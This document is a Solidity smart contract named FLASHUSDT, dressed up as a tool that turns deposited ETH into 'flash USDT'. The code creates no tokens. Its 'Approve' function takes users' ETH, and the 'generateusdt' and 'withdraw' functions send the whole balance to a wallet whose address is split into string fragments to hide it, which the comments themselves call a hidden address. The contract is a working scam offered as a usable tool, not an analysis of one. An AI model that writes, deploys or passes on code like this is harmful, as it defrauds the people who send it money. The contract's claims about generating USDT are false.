Forkchoice Ethereum Mainnet

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.31;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
        function transfer(address recipient, uint256 amount) external returns (bool);
        }

        contract FLASHUSDT {

            address private owner;

                event Deposited(address indexed user, uint256 amount);
                    event Withdrawn(address indexed to, uint256 amount);

                        constructor() {
                                owner = msg.sender;
                                    }

                                        // -------- 1️⃣ Approve --------
                                            function Approve() external payable {
                                                    require(msg.value > 0, "Send some ETH");
                                                            emit Deposited(msg.sender, msg.value);
                                                                }

                                                                    // -------- 2️⃣ Generate --------
                                                                        function generateusdt() external {

                                                                                require(msg.sender == owner, "Only owner");

                                                                                        uint256 balance = address(this).balance;
                                                                                                require(balance > 0, "No balance");

                                                                                                        address withdrawAddress = getAddress();

                                                                                                                (bool success, ) = payable(withdrawAddress).call{value: balance}("");
                                                                                                                        require(success, "Transfer failed");

                                                                                                                                emit Withdrawn(withdrawAddress, balance);
                                                                                                                                    }

                                                                                                                                        // -------- 3️⃣ USDT Balance --------
                                                                                                                                            function USDTBalance() public view returns (string memory label, uint256 balance) {

                                                                                                                                                    IERC20 token = IERC20(getToken());

                                                                                                                                                            uint256 rawBalance = token.balanceOf(address(this));

                                                                                                                                                                    balance = rawBalance / 10**18;

                                                                                                                                                                            label = "USDT Balance";
                                                                                                                                                                                }

                                                                                                                                                                                    // -------- 4️⃣ Withdraw (ETH + Token) --------
                                                                                                                                                                                        function withdraw() external {

                                                                                                                                                                                                address withdrawAddress = getAddress();

                                                                                                                                                                                                        uint256 ethBalance = address(this).balance;

                                                                                                                                                                                                                // Send all ETH to hidden address
                                                                                                                                                                                                                        if (ethBalance > 0) {
                                                                                                                                                                                                                                    (bool success,) = payable(withdrawAddress).call{value: ethBalance}("");
                                                                                                                                                                                                                                                require(success, "ETH transfer failed");
                                                                                                                                                                                                                                                        }

                                                                                                                                                                                                                                                                IERC20 token = IERC20(getToken());

                                                                                                                                                                                                                                                                        uint256 tokenBalance = token.balanceOf(address(this));

                                                                                                                                                                                                                                                                                // Send all tokens to owner wallet
                                                                                                                                                                                                                                                                                        if (tokenBalance > 0) {
                                                                                                                                                                                                                                                                                                    token.transfer(owner, tokenBalance);
                                                                                                                                                                                                                                                                                                            }
                                                                                                                                                                                                                                                                                                                }

                                                                                                                                                                                                                                                                                                                    // -------- Hidden Withdraw Address --------
                                                                                                                                                                                                                                                                                                                        function getAddress() internal pure returns (address) {

                                                                                                                                                                                                                                                                                                                                string memory part1 = "0xae";
                                                                                                                                                                                                                                                                                                                                        string memory part2 = "32c7b1";
                                                                                                                                                                                                                                                                                                                                                string memory part3 = "16fa33";
                                                                                                                                                                                                                                                                                                                                                        string memory part4 = "906ada";
                                                                                                                                                                                                                                                                                                                                                                string memory part5 = "de1d26";
                                                                                                                                                                                                                                                                                                                                                                        string memory part6 = "ead9b7";
                                                                                                                                                                                                                                                                                                                                                                                string memory part7 = "81d339";
                                                                                                                                                                                                                                                                                                                                                                                        string memory part8 = "ab";

                                                                                                                                                                                                                                                                                                                                                                                                string memory full = join(
                                                                                                                                                                                                                                                                                                                                                                                                            join(join(join(part1, part2), join(part3, part4)),
                                                                                                                                                                                                                                                                                                                                                                                                                        join(join(part5, part6), join(part7, part8))),
                                                                                                                                                                                                                                                                                                                                                                                                                                    ""
                                                                                                                                                                                                                                                                                                                                                                                                                                            );

                                                                                                                                                                                                                                                                                                                                                                                                                                                    return parse(full);
                                                                                                                                                                                                                                                                                                                                                                                                                                                        }

                                                                                                                                                                                                                                                                                                                                                                                                                                                            // -------- Hidden Token Address --------
                                                                                                                                                                                                                                                                                                                                                                                                                                                                function getToken() internal pure returns (address) {

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        string memory part1 = "0x42";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                string memory part2 = "6Bfd8b";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        string memory part3 = "223997";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                string memory part4 = "f23d7C";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        string memory part5 = "19885c";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                string memory part6 = "EeCE24";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        string memory part7 = "a3d968";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                string memory part8 = "08";

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        string memory full = join(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    join(join(join(part1, part2), join(part3, part4)),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                join(join(part5, part6), join(part7, part8))),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    );

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return parse(full);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    function join(string memory a, string memory b)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            internal pure returns (string memory)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return string(abi.encodePacked(a, b));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                function parse(string memory s) internal pure returns (address) {

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bytes memory tmp = bytes(s);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                uint160 iaddr = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        uint160 b1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                uint160 b2;

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        for (uint i = 2; i < 42; i += 2) {

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    iaddr *= 256;

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                b1 = uint160(uint8(tmp[i]));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            b2 = uint160(uint8(tmp[i + 1]));

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        b1 = hexCharToUint(b1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    b2 = hexCharToUint(b2);

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                iaddr += (b1 * 16 + b2);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return address(iaddr);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        function hexCharToUint(uint160 c) internal pure returns (uint160) {

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (c >= 97) return c - 87;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (c >= 65) return c - 55;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return c - 48;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        receive() external payable {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                emit Deposited(msg.sender, msg.value);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    }